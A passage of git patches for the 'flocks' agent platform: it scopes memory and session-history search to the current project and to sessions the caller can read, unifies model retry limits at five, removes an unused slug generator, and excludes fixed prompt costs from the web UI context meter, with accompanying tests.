AND s.project_id = ? + """ + params: list[Any] = [fts_query, project_id] + if readable_session_ids is not None: + ordered_ids = sorted(readable_session_ids) + placeholders = ",".join("?" for _ in ordered_ids) + sql += f" AND s.session_id IN ({placeholders})" + params.extend(ordered_ids) + sql += " ORDER BY bm25(session_transcript_fts) LIMIT ?" + params.append(max_results) async with Storage.connect(db_path) as db: - cursor = await db.execute( - """ - SELECT - s.message_id, - s.session_id, - s.role, - s.created_at, - snippet(session_transcript_fts, 0, '', '', ' … ', 24), - bm25(session_transcript_fts) - FROM session_transcript_fts - JOIN session_transcript_index_state s - ON s.id = session_transcript_fts.rowid - WHERE session_transcript_fts MATCH ? - ORDER BY bm25(session_transcript_fts) - LIMIT ? - """, - (fts_query, max_results), - ) + cursor = await db.execute(sql, params) rows = await cursor.fetchall() count = len(rows) diff --git a/flocks/storage/vector.py b/flocks/storage/vector.py index 7344812a4..c10be74c0 100644 --- a/flocks/storage/vector.py +++ b/flocks/storage/vector.py @@ -206,8 +206,7 @@ async def vector_search( Args: db_path: Database path - project_id: Current Session project ID (retained for API compatibility; - Memory file search is global) + project_id: Current Session project ID embedding: Query embedding vector max_results: Maximum results to return min_score: Minimum similarity score @@ -217,7 +216,6 @@ async def vector_search( List of search results """ results = [] - del project_id # Memory file search is intentionally global across scopes. try: async with Storage.connect(db_path) as db: @@ -225,8 +223,12 @@ async def vector_search( SELECT id, path, source, start_line, end_line, text, embedding FROM memory_chunks WHERE embedding IS NOT NULL + AND ( + scope = 'global' + OR (scope = 'project' AND scope_id = ?) + ) """ - params: list[Any] = [] + params: list[Any] = [project_id] if sources: placeholders = ",".join("?" * len(sources)) @@ -319,8 +321,7 @@ async def fts_search( Args: db_path: Database path - project_id: Current Session project ID (retained for API compatibility; - Memory file search is global) + project_id: Current Session project ID query: Search query (FTS5 format) max_results: Maximum results to return sources: Optional list of sources to filter @@ -329,7 +330,6 @@ async def fts_search( List of search results with BM25 scores """ results = [] - del project_id # Memory file search is intentionally global across scopes. try: async with Storage.connect(db_path) as db: @@ -350,8 +350,12 @@ async def fts_search( rank FROM memory_fts f WHERE f.text MATCH ? + AND ( + f.scope = 'global' + OR (f.scope = 'project' AND f.scope_id = ?) + ) """ - params = [fts_query] + params = [fts_query, project_id] if sources: placeholders = ",".join("?" * len(sources)) diff --git a/flocks/tool/system/memory.py b/flocks/tool/system/memory.py index 8fff9e8b5..3d9b65a1e 100644 --- a/flocks/tool/system/memory.py +++ b/flocks/tool/system/memory.py @@ -67,8 +67,8 @@ def evict_session_memory(session_id: str) -> None: @ToolRegistry.register_function( name="memory_search", description=( - "Search persistent memory globally across Global, Daily, all Project " - "Memory files, and optional Session History sources." + "Search USER, Global, Daily, and current Project Memory, plus optional " + "readable Session History from the current project." ), category=ToolCategory.SEARCH, parameters=[ diff --git a/tests/memory/test_memory_scope.py b/tests/memory/test_memory_scope.py index 63d0c20a8..cf2633f6e 100644 --- a/tests/memory/test_memory_scope.py +++ b/tests/memory/test_memory_scope.py @@ -17,6 +17,7 @@ ensure_vector_tables, fts_search, replace_memory_file_index, + vector_search, ) @@ -40,6 +41,7 @@ def _chunk( scope_id: str, path: str, text: str, + embedding: list[float] | None = None, ) -> dict[str, object]: return { "id": f"chunk:{scope}:{scope_id}:{path}", @@ -51,9 +53,9 @@ def _chunk( "end_line": 1, "hash": f"hash:{text}", "text": text, - "embedding": None, - "embedding_model": None, - "embedding_dims": None, + "embedding": embedding, + "embedding_model": "test" if embedding else None, + "embedding_dims": len(embedding) if embedding else None, } @@ -78,11 +80,15 @@ async def test_search_reconciles_filesystem_before_every_search( @pytest.mark.asyncio -async def test_memory_search_is_global_across_scopes(tmp_path: Path) -> None: +async def test_memory_search_uses_global_and_current_project_scopes( + tmp_path: Path, +) -> None: db_path = tmp_path / "scope.db" await Storage.init(db_path) records = [ + ("global", "", "USER.md", "scopeword user"), ("global", "", "MEMORY.md", "scopeword global"), + ("global", "", "daily/2026-08-03.md", "scopeword daily"), ( "project", "prj_alpha", @@ -100,19 +106,35 @@ async def test_memory_search_is_global_across_scopes(tmp_path: Path) -> None: await replace_memory_file_index( db_path, file_entry=_file_entry(scope, scope_id, path), - chunks=[_chunk(scope, scope_id, path, text)], + chunks=[_chunk(scope, scope_id, path, text, [1.0, 0.0])], ) - alpha = await fts_search(db_path, "prj_alpha", "scopeword") - default = await fts_search(db_path, "default", "scopeword") - - expected_paths = { + expected_global_paths = { + "USER.md", "MEMORY.md", + "daily/2026-08-03.md", + } + expected_alpha_paths = expected_global_paths | { "projects/prj_alpha/MEMORY.md", - "projects/prj_beta/MEMORY.md", } - assert {result["path"] for result in alpha} == expected_paths - assert {result["path"] for result in default} == expected_paths + + alpha_fts = await fts_search(db_path, "prj_alpha", "scopeword") + default_fts = await fts_search(db_path, "default", "scopeword") + alpha_vector = await vector_search( + db_path, + "prj_alpha", + [1.0, 0.0], + ) + default_vector = await vector_search( + db_path, + "default", + [1.0, 0.0], + ) + + assert {result["path"] for result in alpha_fts} == expected_alpha_paths + assert {result["path"] for result in alpha_vector} == expected_alpha_paths + assert {result["path"] for result in default_fts} == expected_global_paths + assert {result["path"] for result in default_vector} == expected_global_paths @pytest.mark.asyncio diff --git a/tests/memory/test_session_transcript_search.py b/tests/memory/test_session_transcript_search.py index aa2c05c51..70de19940 100644 --- a/tests/memory/test_session_transcript_search.py +++ b/tests/memory/test_session_transcript_search.py @@ -7,6 +7,7 @@ import pytest +from flocks.auth.context import AuthUser, reset_current_auth_user, set_current_auth_user from flocks.config.config import Config from flocks.memory.config import MemoryConfig from flocks.memory.manager import MemoryManager @@ -14,6 +15,7 @@ from flocks.memory.types import MemorySearchResult from flocks.memory.types import MemorySource from flocks.provider import Provider +from flocks.session.features.memory import SessionMemory from flocks.session.message import Message, MessageRole from flocks.session.session import Session, SessionInfo from flocks.storage.session_search import ( @@ -60,13 +62,25 @@ async def isolate_transcript_search( Storage._db_path = None -async def _create_session(tmp_path: Path, project_id: str = "project-search"): +async def _create_session( + tmp_path: Path, + project_id: str = "project-search", + *, + owner_user_id: str | None = None, + owner_username: str | None = None, + metadata: dict | None = None, + status: str = "active", +): session = SessionInfo( id=f"session-{uuid.uuid4().hex}", project_id=project_id, directory=str(tmp_path), agent="rex", memory_enabled=True, + owner_user_id=owner_user_id, + owner_username=owner_username, + metadata=metadata or {}, + status=status, ) await Storage.set( f"session:{project_id}:{session.id}", @@ -267,7 +281,7 @@ async def test_text_part_updates_and_message_delete_update_fts( @pytest.mark.asyncio -async def test_session_search_is_global_across_projects( +async def test_session_search_is_limited_to_current_project( tmp_path: Path, ) -> None: alpha = await _create_session(tmp_path, project_id="prj_alpha") @@ -292,7 +306,6 @@ async def test_session_search_is_global_across_projects( assert {result["path"] for result in results} == { f"sessions/{alpha.id}/messages/{alpha_message.id}", - f"sessions/{beta.id}/messages/{beta_message.id}", } async with Storage.connect(Storage.get_db_path()) as db: @@ -309,10 +322,299 @@ async def test_session_search_is_global_across_projects( assert stats["updated"] == 2 assert {result["path"] for result in rebuilt} == { f"sessions/{alpha.id}/messages/{alpha_message.id}", - f"sessions/{beta.id}/messages/{beta_message.id}", } +@pytest.mark.asyncio +async def test_session_search_filters_readable_ids_within_project( + tmp_path: Path, +) -> None: + readable = await _create_session(tmp_path, project_id="prj_alpha") + private = await _create_session(tmp_path, project_id="prj_alpha") + readable_message = await Message.create( + readable.id, + MessageRole.USER, + "same project permission marker readable", + ) + await Message.create( + private.id, + MessageRole.USER, + "same project permission marker private", + ) + + results = await session_fts_search( + db_path=Storage.get_db_path(), + project_id="prj_alpha", + query="same project permission marker", + max_results=10, + readable_session_ids={readable.id}, + ) + + assert [result["path"] for result in results] == [ + f"sessions/{readable.id}/messages/{readable_message.id}" + ] + assert not await session_fts_search( + db_path=Storage.get_db_path(), + project_id="prj_alpha", + query="same project permission marker", + max_results=10, + readable_session_ids=set(), + ) + + +@pytest.mark.asyncio +async def test_session_memory_uses_session_read_policy( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + from flocks.project.project import Project + + caller = AuthUser(id="user-a", username="alice", role="member") + current = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id=caller.id, + owner_username=caller.username, + ) + owned = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id=caller.id, + owner_username=caller.username, + ) + archived = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id=caller.id, + owner_username=caller.username, + status="archived", + ) + private = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id="user-b", + owner_username="bob", + ) + shared = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id="user-b", + owner_username="bob", + metadata={"shared_read_access_user_ids": [caller.id]}, + ) + deleted = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id=caller.id, + owner_username=caller.username, + status="deleted", + ) + other_project = await _create_session( + tmp_path, + project_id="prj_beta", + owner_user_id=caller.id, + owner_username=caller.username, + ) + monkeypatch.setattr(Project, "shared_project_ids", lambda: set()) + + token = set_current_auth_user(caller) + try: + memory = SessionMemory( + session_id=current.id, + project_id=current.project_id, + workspace_dir=str(tmp_path), + enabled=True, + ) + resolved_session, resolved_caller, shared_projects = ( + await memory._search_access_context() + ) + readable_ids = await memory._readable_session_ids( + resolved_session, + resolved_caller, + shared_projects, + ) + finally: + reset_current_auth_user(token) + + assert readable_ids == {current.id, owned.id, archived.id, shared.id} + assert private.id not in readable_ids + assert deleted.id not in readable_ids + assert other_project.id not in readable_ids + + +@pytest.mark.asyncio +async def test_session_memory_honors_shared_project_access( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + from flocks.project.project import Project + + caller = AuthUser(id="user-a", username="alice", role="member") + current = await _create_session( + tmp_path, + project_id="prj_shared", + owner_user_id="user-b", + owner_username="bob", + ) + sibling = await _create_session( + tmp_path, + project_id="prj_shared", + owner_user_id="user-b", + owner_username="bob", + ) + monkeypatch.setattr( + Project, + "shared_project_ids", + lambda: {"prj_shared"}, + ) + + token = set_current_auth_user(caller) + try: + memory = SessionMemory( + session_id=current.id, + project_id=current.project_id, + workspace_dir=str(tmp_path), + enabled=True, + ) + resolved_session, resolved_caller, shared_projects = ( + await memory._search_access_context() + ) + readable_ids = await memory._readable_session_ids( + resolved_session, + resolved_caller, + shared_projects, + ) + finally: + reset_current_auth_user(token) + + assert readable_ids == {current.id, sibling.id} + + +@pytest.mark.asyncio +async def test_session_memory_without_caller_only_reads_current_session( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + from flocks.auth.service import AuthService + from flocks.project.project import Project + + current = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id="missing-user", + ) + await _create_session(tmp_path, project_id="prj_alpha") + monkeypatch.setattr(Project, "shared_project_ids", lambda: set()) + monkeypatch.setattr( + AuthService, + "get_user_by_id", + AsyncMock(return_value=None), + ) + memory = SessionMemory( + session_id=current.id, + project_id=current.project_id, + workspace_dir=str(tmp_path), + enabled=True, + ) + + resolved_session, caller, shared_projects = ( + await memory._search_access_context() + ) + readable_ids = await memory._readable_session_ids( + resolved_session, + caller, + shared_projects, + ) + + assert caller is None + assert readable_ids == {current.id} + + +@pytest.mark.asyncio +async def test_session_memory_falls_back_to_session_owner( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + from flocks.auth.service import AuthService + from flocks.project.project import Project + + owner_auth = AuthUser(id="user-a", username="alice", role="member") + owner = Mock() + owner.to_auth_user.return_value = owner_auth + current = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id=owner_auth.id, + owner_username=owner_auth.username, + ) + sibling = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id=owner_auth.id, + owner_username=owner_auth.username, + ) + private = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id="user-b", + owner_username="bob", + ) + monkeypatch.setattr(Project, "shared_project_ids", lambda: set()) + monkeypatch.setattr( + AuthService, + "get_user_by_id", + AsyncMock(return_value=owner), + ) + memory = SessionMemory( + session_id=current.id, + project_id=current.project_id, + workspace_dir=str(tmp_path), + enabled=True, + ) + + resolved_session, caller, shared_projects = ( + await memory._search_access_context() + ) + readable_ids = await memory._readable_session_ids( + resolved_session, + caller, + shared_projects, + ) + + assert caller == owner_auth + assert readable_ids == {current.id, sibling.id} + assert private.id not in readable_ids + + +@pytest.mark.asyncio +async def test_session_memory_rejects_unreadable_current_session( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + from flocks.project.project import Project + + current = await _create_session( + tmp_path, + project_id="prj_alpha", + owner_user_id="user-b", + owner_username="bob", + ) + monkeypatch.setattr(Project, "shared_project_ids", lambda: set()) + caller = AuthUser(id="user-a", username="alice", role="member") + token = set_current_auth_user(caller) + try: + memory = SessionMemory( + session_id=current.id, + project_id=current.project_id, + workspace_dir=str(tmp_path), + enabled=True, + ) + with pytest.raises(PermissionError, match="Session access denied"): + await memory._search_access_context() + finally: + reset_current_auth_user(token) + + @pytest.mark.asyncio async def test_reconciliation_restores_history_and_removes_orphans( tmp_path: Path, @@ -499,6 +801,7 @@ async def test_explicit_session_search_persists_opt_in_without_embeddings( results = await manager.search( query="marker", sources=[MemorySource.SESSION], + readable_session_ids={session.id}, ) assert results From 1e0864c3c9a470132d968fa1ad446111be8abb9d Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Thu, 6 Aug 2026 10:58:53 +0800 Subject: [PATCH 17/67] refactor(hooks): remove unused slug generator --- flocks/hooks/builtin/slug_generator.py | 94 -------------------------- 1 file changed, 94 deletions(-) delete mode 100644 flocks/hooks/builtin/slug_generator.py diff --git a/flocks/hooks/builtin/slug_generator.py b/flocks/hooks/builtin/slug_generator.py deleted file mode 100644 index 2bbc2073a..000000000 --- a/flocks/hooks/builtin/slug_generator.py +++ /dev/null @@ -1,94 +0,0 @@ -""" -LLM Slug Generator - Generate descriptive filenames using LLM - -Uses LLM to generate a 1-2 word slug for session memory filenames. -""" - -from typing import Optional -import re - -from flocks.provider import Provider -from flocks.utils.log import Log - -log = Log.create(service="hooks.slug_generator") - - -async def generate_slug_via_llm( - conversation: str, - config: any, - session_id: str, - timeout_seconds: int = 15, -) -> Optional[str]: - """ - Generate a slug using LLM - - Args: - conversation: Conversation summary - config: Configuration object - session_id: Session ID (for logging) - timeout_seconds: Timeout in seconds - - Returns: - slug string or None (on failure) - - Examples: - >>> await generate_slug_via_llm("user: Design API\\nassistant: Sure...") - "api-design" - """ - try: - # Construct prompt - prompt = f"""Based on this conversation, generate a short 1-2 word filename slug (lowercase, hyphen-separated, no file extension). - -Conversation summary: -{conversation[:2000]} - -Reply with ONLY the slug, nothing else. Examples: "vendor-pitch", "api-design", "bug-fix" -""" - - # Get provider configuration - provider_id = getattr(config.memory.search.embedding, 'provider', 'openai') - if provider_id == "auto": - provider_id = "openai" - - # Call LLM (use lightweight model) - response = await Provider.chat( - messages=[{"role": "user", "content": prompt}], - provider_id=provider_id, - model="gpt-3.5-turbo", # Fast lightweight model - max_tokens=50, - temperature=0.7, - ) - - # Extract and clean slug - if response and response.get('content'): - text = response['content'].strip() - - # Clean format - slug = text.lower().replace(" ", "-").replace("_", "-") - - # Remove invalid characters - slug = re.sub(r'[^a-z0-9-]', '', slug) - slug = re.sub(r'-+', '-', slug) - slug = slug.strip('-') - - # Limit length - slug = slug[:30] - - if slug: - log.debug("slug_generator.success", { - "session_id": session_id, - "slug": slug, - }) - return slug - - log.warn("slug_generator.no_result", { - "session_id": session_id, - }) - return None - - except Exception as e: - log.error("slug_generator.error", { - "session_id": session_id, - "error": str(e), - }) - return None From 6189828ea34ed80dbf140b49808f9a7a6c6e35be Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Thu, 6 Aug 2026 17:05:39 +0800 Subject: [PATCH 18/67] fix(session): unify retry policy across model modes --- flocks/session/lifecycle/retry.py | 1 + flocks/session/runner.py | 47 +++++++++------------ tests/session/test_auto_model_failover.py | 50 +++++++++++------------ tests/session/test_retry.py | 9 ++++ tests/session/test_runner_step.py | 4 +- 5 files changed, 54 insertions(+), 57 deletions(-) diff --git a/flocks/session/lifecycle/retry.py b/flocks/session/lifecycle/retry.py index 6e754ee77..ae7bf77f3 100644 --- a/flocks/session/lifecycle/retry.py +++ b/flocks/session/lifecycle/retry.py @@ -19,6 +19,7 @@ RETRY_BACKOFF_FACTOR = 2 RETRY_MAX_DELAY_NO_HEADERS = 30_000 # 30 seconds RETRY_MAX_DELAY = 2_147_483_647 # max 32-bit signed integer +MAX_ERROR_RETRIES = 5 CONNECTION_ERROR_DISPLAY_MESSAGE = ( "Model is unavailable. Please check the provider connection and model configuration." ) diff --git a/flocks/session/runner.py b/flocks/session/runner.py index 0e74e4577..85e4d333b 100644 --- a/flocks/session/runner.py +++ b/flocks/session/runner.py @@ -34,7 +34,11 @@ DOOM_LOOP_THRESHOLD, REPEATED_EXACT_TOOL_CALL_HALT_THRESHOLD, ) -from flocks.session.lifecycle.retry import CONNECTION_ERROR_DISPLAY_MESSAGE, SessionRetry +from flocks.session.lifecycle.retry import ( + CONNECTION_ERROR_DISPLAY_MESSAGE, + MAX_ERROR_RETRIES, + SessionRetry, +) from flocks.session.lifecycle.compaction import SessionCompaction, CompactionPolicy from flocks.session.streaming.stream_processor import StreamProcessor from flocks.session.streaming.stream_events import ( @@ -237,7 +241,6 @@ class FailoverDecision: eligible: bool reason: str - same_model_retries: int = 3 @dataclass @@ -1243,53 +1246,53 @@ def classify_failover_error(error: Dict[str, Any]) -> FailoverDecision: reason = "billing" if any( pattern in lowered for pattern in ("billing", "insufficient quota") ) else "rate_limit" - return FailoverDecision(True, reason, 0) + return FailoverDecision(True, reason) if status_code in {401, 403}: - return FailoverDecision(True, "auth", 0) + return FailoverDecision(True, "auth") if status_code == 402: - return FailoverDecision(True, "billing", 0) + return FailoverDecision(True, "billing") if "model" in lowered and any(pattern in lowered for pattern in ( "not found", "model_not_found", "unknown model", "no such model", )): - return FailoverDecision(True, "model_not_found", 0) + return FailoverDecision(True, "model_not_found") if status_code == 404: if any(pattern in lowered for pattern in ( "model not found", "model_not_found", "unknown model", "no such model", )): - return FailoverDecision(True, "model_not_found", 0) - return FailoverDecision(True, "unknown_api", 3) + return FailoverDecision(True, "model_not_found") + return FailoverDecision(True, "unknown_api") if status_code in {408, 504} or data.get("isConnectionError") is True or any( pattern in lowered for pattern in ("timeout", "timed out", "connection error", "connection reset") ): - return FailoverDecision(True, "timeout", 1) + return FailoverDecision(True, "timeout") if status_code in {503, 529} or any( pattern in lowered for pattern in ("overloaded", "temporarily unavailable") ): - return FailoverDecision(True, "overloaded", 1) + return FailoverDecision(True, "overloaded") if status_code in {500, 502}: - return FailoverDecision(True, "server_error", 3) + return FailoverDecision(True, "server_error") if any(pattern in lowered for pattern in ( "content policy", "content filter", "content_filter", "safety policy", "policy violation", )): - return FailoverDecision(True, "content_policy", 0) + return FailoverDecision(True, "content_policy") if error_name == "JSONDecodeError" or any( pattern in lowered for pattern in ( "malformed response", "invalid response", "empty choices", "returned choice with null", "null message", ) ): - return FailoverDecision(True, "invalid_response", 0) + return FailoverDecision(True, "invalid_response") if status_code is not None and 400 <= status_code < 500: - return FailoverDecision(True, "provider_request", 0) + return FailoverDecision(True, "provider_request") if error_name == "APIError" or data.get("isRetryable") is True: - return FailoverDecision(True, "unknown_api", 3) + return FailoverDecision(True, "unknown_api") return FailoverDecision(False, "local_error") def _deferred_failure_result( @@ -1636,7 +1639,6 @@ async def device_asset_prompt_factory() -> Optional[str]: # The two counters are independent: empty-response retries (transient # model quirk) and exception retries (API errors) track separately so # that one kind of failure doesn't eat the other's budget. - MAX_ERROR_RETRIES = 3 MAX_EMPTY_RETRIES = 3 error_attempt = 0 empty_attempt = 0 @@ -1812,18 +1814,7 @@ async def device_asset_prompt_factory() -> Optional[str]: retry_message = SessionRetry.retryable(error_dict) failover_decision = self.classify_failover_error(error_dict) retry_limit = MAX_ERROR_RETRIES - if ( - self._defer_step_errors - and failover_decision.eligible - ): - retry_limit = failover_decision.same_model_retries - will_retry = error_attempt <= retry_limit - if will_retry and retry_message is None: - retry_message = ( - f"Provider error ({failover_decision.reason}), retrying..." - ) - else: - will_retry = retry_message is not None and error_attempt <= retry_limit + will_retry = retry_message is not None and error_attempt <= retry_limit retry_blocked_by_tool_execution = ( self._attempt_state.tool_execution_started ) diff --git a/tests/session/test_auto_model_failover.py b/tests/session/test_auto_model_failover.py index 98541ec3c..31dcf17f1 100644 --- a/tests/session/test_auto_model_failover.py +++ b/tests/session/test_auto_model_failover.py @@ -97,25 +97,24 @@ def _clear_cooldowns(): @pytest.mark.parametrize( - ("status_code", "message", "reason", "same_model_retries"), + ("status_code", "message", "reason"), [ - (401, "Unauthorized", "auth", 0), - (402, "Payment required", "billing", 0), - (429, "Too many requests", "rate_limit", 0), - (403, "Quota exceeded", "rate_limit", 0), - (403, "Insufficient quota", "billing", 0), - (408, "Request timeout", "timeout", 1), - (404, "Route not found", "unknown_api", 3), - (500, "Internal server error", "server_error", 3), - (502, "Bad gateway", "server_error", 3), - (529, "Provider overloaded", "overloaded", 1), + (401, "Unauthorized", "auth"), + (402, "Payment required", "billing"), + (429, "Too many requests", "rate_limit"), + (403, "Quota exceeded", "rate_limit"), + (403, "Insufficient quota", "billing"), + (408, "Request timeout", "timeout"), + (404, "Route not found", "unknown_api"), + (500, "Internal server error", "server_error"), + (502, "Bad gateway", "server_error"), + (529, "Provider overloaded", "overloaded"), ], ) -def test_failover_classifier_retry_thresholds( +def test_failover_classifier( status_code: int, message: str, reason: str, - same_model_retries: int, ): decision = SessionRunner.classify_failover_error({ "name": "APIError", @@ -124,7 +123,6 @@ def test_failover_classifier_retry_thresholds( assert decision.eligible is True assert decision.reason == reason - assert decision.same_model_retries == same_model_retries @pytest.mark.asyncio @@ -133,15 +131,15 @@ def test_failover_classifier_retry_thresholds( [ (401, 1), (402, 1), - (429, 1), - (408, 2), - (404, 4), - (500, 4), - (502, 4), - (529, 2), + (429, 6), + (408, 1), + (404, 1), + (500, 6), + (502, 6), + (529, 1), ], ) -async def test_runner_applies_failover_retry_thresholds( +async def test_auto_runner_uses_standard_retry_policy( monkeypatch, status_code: int, expected_calls: int, @@ -200,16 +198,16 @@ async def test_runner_applies_failover_retry_thresholds( @pytest.mark.parametrize( ("status_code", "expected_calls"), [ - (429, 1), - (503, 2), + (429, 6), + (503, 6), ], ) -async def test_last_auto_candidate_keeps_hermes_retry_thresholds( +async def test_last_auto_candidate_uses_standard_retry_policy( monkeypatch, status_code: int, expected_calls: int, ): - """The last candidate still has Auto's per-model retry budget.""" + """The last candidate uses the same retry policy as every other mode.""" runner = SessionRunner( session=_session(), provider_id="fallback", @@ -339,7 +337,6 @@ def test_model_not_found_without_status_fails_over(): assert decision.eligible is True assert decision.reason == "model_not_found" - assert decision.same_model_retries == 0 def test_content_filter_error_fails_over_immediately(): @@ -350,7 +347,6 @@ def test_content_filter_error_fails_over_immediately(): assert decision.eligible is True assert decision.reason == "content_policy" - assert decision.same_model_retries == 0 def test_candidate_switch_keeps_tool_loop_guard_only(): diff --git a/tests/session/test_retry.py b/tests/session/test_retry.py index 70b4b23d5..8fc07d29e 100644 --- a/tests/session/test_retry.py +++ b/tests/session/test_retry.py @@ -130,6 +130,15 @@ def test_missing_data_returns_none(self): # --------------------------------------------------------------------------- class TestDelay: + def test_five_retry_schedule(self): + assert [SessionRetry.delay(attempt) for attempt in range(1, 6)] == [ + 2_000, + 4_000, + 8_000, + 16_000, + 30_000, + ] + def test_attempt_1_returns_initial_delay(self): result = SessionRetry.delay(1) assert result == RETRY_INITIAL_DELAY diff --git a/tests/session/test_runner_step.py b/tests/session/test_runner_step.py index b70c0f1d9..723f0e874 100644 --- a/tests/session/test_runner_step.py +++ b/tests/session/test_runner_step.py @@ -2368,7 +2368,7 @@ async def fake_call_llm(*_args, **_kwargs): result = await runner._process_step([last_user], last_user) - assert call_count == 4 + assert call_count == 6 assert result.action == "stop" assert result.error == runner_mod.CONNECTION_ERROR_DISPLAY_MESSAGE runner.callbacks.on_error.assert_awaited_with(runner_mod.CONNECTION_ERROR_DISPLAY_MESSAGE) @@ -2386,7 +2386,7 @@ async def fake_call_llm(*_args, **_kwargs): call for call in error_log.call_args_list if call.args and call.args[0] == "runner.step.max_retries_exceeded" ] - assert len(retry_logs) == 3 + assert len(retry_logs) == 5 assert len(max_retry_logs) == 1 assert not any( call.args and call.args[0] == "runner.step.error" From 3e282e4ce10afed9b8c77159dca4f92b1f94f1ea Mon Sep 17 00:00:00 2001 From: duguwanglong Date: Thu, 6 Aug 2026 17:58:36 +0800 Subject: [PATCH 19/67] fix(webui): exclude fixed prompt costs from context usage Start the meter from user-visible conversation content and keep optimistic usage stable across refreshes and session switches. Exclude and hide system prompt and tool definition costs, and prevent provider attribution drift from inflating conversation tokens. --- .../src/components/common/SessionChat.test.ts | 829 +++++++++++++++++- webui/src/components/common/SessionChat.tsx | 486 +++++++++- .../useSessionContextUsage.test.ts | 75 ++ .../session-chat/useSessionContextUsage.ts | 27 +- webui/src/hooks/useSessionChat.test.ts | 6 +- webui/src/hooks/useSessionChat.ts | 8 +- webui/src/locales/en-US/session.json | 1 - webui/src/locales/zh-CN/session.json | 1 - webui/src/pages/Session/index.test.tsx | 17 +- webui/src/pages/Session/index.tsx | 8 +- 10 files changed, 1392 insertions(+), 66 deletions(-) diff --git a/webui/src/components/common/SessionChat.test.ts b/webui/src/components/common/SessionChat.test.ts index cd91351cf..698138064 100644 --- a/webui/src/components/common/SessionChat.test.ts +++ b/webui/src/components/common/SessionChat.test.ts @@ -3,6 +3,7 @@ import { act, fireEvent, render, screen, waitFor, within } from '@testing-librar import userEvent from '@testing-library/user-event'; import { beforeEach, describe, expect, it, vi } from 'vitest'; +import type { ContextUsageSnapshot } from '@/api/session'; import type { Message } from '@/types'; import { @@ -75,7 +76,6 @@ const tMock = (key: string, options?: Record) => { 'chat.contextUsage.close': 'Close', 'chat.contextUsage.full': '13% Full', 'chat.contextUsage.tokens': '~13 / 100 Tokens', - 'chat.contextUsage.excludedTokens': '100 excluded', 'chat.contextUsage.noAttributedSegments': 'No attributed breakdown', 'chat.contextUsage.breakdown.systemPrompt': 'System prompt', 'chat.contextUsage.breakdown.toolDefinitions': 'Tool definitions', @@ -303,6 +303,16 @@ function makeMessage(overrides: Partial & { id: string }): Message { } as Message; } +function deferred() { + let resolve!: (value: T) => void; + let reject!: (reason?: unknown) => void; + const promise = new Promise((resolvePromise, rejectPromise) => { + resolve = resolvePromise; + reject = rejectPromise; + }); + return { promise, resolve, reject }; +} + type FetchedMessageFixture = { info: { id: string; @@ -380,9 +390,9 @@ async function startFallbackPolling(onStreamingDone: () => void) { }); } -function mockStatefulSessionMessages() { +function mockStatefulSessionMessages(initialMessages: Message[] = []) { useSessionMessagesMock.mockImplementation(() => { - const [messages, setMessages] = React.useState([]); + const [messages, setMessages] = React.useState(initialMessages); const upsertMessage = (messageInfo: Partial & { id: string }) => setMessages((prev) => { const existingIndex = prev.findIndex((message) => message.id === messageInfo.id); if (existingIndex >= 0) { @@ -420,7 +430,18 @@ function mockStatefulSessionMessages() { (message) => message.id !== messageId, )), clearMessages: () => setMessages([]), - replaceMessageText: vi.fn(), + replaceMessageText: (messageId: string, partId: string, text: string) => setMessages((prev) => ( + prev.map((message) => ( + message.id === messageId + ? { + ...message, + parts: message.parts.map((part) => ( + part.id === partId ? { ...part, text } : part + )), + } + : message + )) + )), markMessageStopped: (messageId: string) => setMessages((prev) => prev.map( (message) => (message.id === messageId ? { ...message, finish: 'stop' } : message), )), @@ -628,6 +649,8 @@ describe('buildContextUsageBreakdown', () => { ['skillLoad', 0], ['agentDelegation', 0], ]); + expect(breakdown.segments.find((segment) => segment.key === 'systemPrompt')?.included).toBe(false); + expect(breakdown.segments.find((segment) => segment.key === 'toolDefinitions')?.included).toBe(false); expect(breakdown.excludedSegments).toEqual([]); }); @@ -678,19 +701,86 @@ describe('buildContextUsageBreakdown', () => { ], }); - expect(breakdown.usedTokens).toBe(140); + expect(breakdown.usedTokens).toBe(85); expect(breakdown.compactedTokens).toBe(50); - expect(breakdown.segments.map((segment) => [segment.key, segment.tokens])).toEqual([ - ['systemPrompt', 15], - ['toolDefinitions', 10], - ['conversation', 40], - ['reasoning', 5], - ['tools', 40], - ['skillLoad', 20], - ['agentDelegation', 10], + expect(breakdown.segments.map((segment) => [segment.key, segment.tokens, segment.included])).toEqual([ + ['systemPrompt', 15, false], + ['toolDefinitions', 10, false], + ['conversation', 10, true], + ['reasoning', 5, true], + ['tools', 40, true], + ['skillLoad', 20, true], + ['agentDelegation', 10, true], ]); expect(breakdown.excludedSegments).toEqual([]); }); + + it('applies and clamps pending removals by attributed segment', () => { + const breakdown = buildContextUsageBreakdown([], '', { + sessionID: 'sess-1', + usedTokens: 260, + contextWindow: 1000, + percent: 26, + source: 'estimated', + estimatedTokens: 260, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + { key: 'conversation', tokens: 100, included: true, source: 'estimated' }, + { key: 'reasoning', tokens: 50, included: true, source: 'estimated' }, + { key: 'tools', tokens: 30, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }, { + pendingTokenDeltas: { reasoning: -50, tools: -300 }, + }); + + expect(breakdown.usedTokens).toBe(100); + expect(breakdown.segments.find((segment) => segment.key === 'conversation')?.tokens).toBe(100); + expect(breakdown.segments.find((segment) => segment.key === 'reasoning')?.tokens).toBe(0); + expect(breakdown.segments.find((segment) => segment.key === 'tools')?.tokens).toBe(0); + }); + + it('uses snapshot fixed costs with local messages and explicit pending removals', () => { + const breakdown = buildContextUsageBreakdown([ + 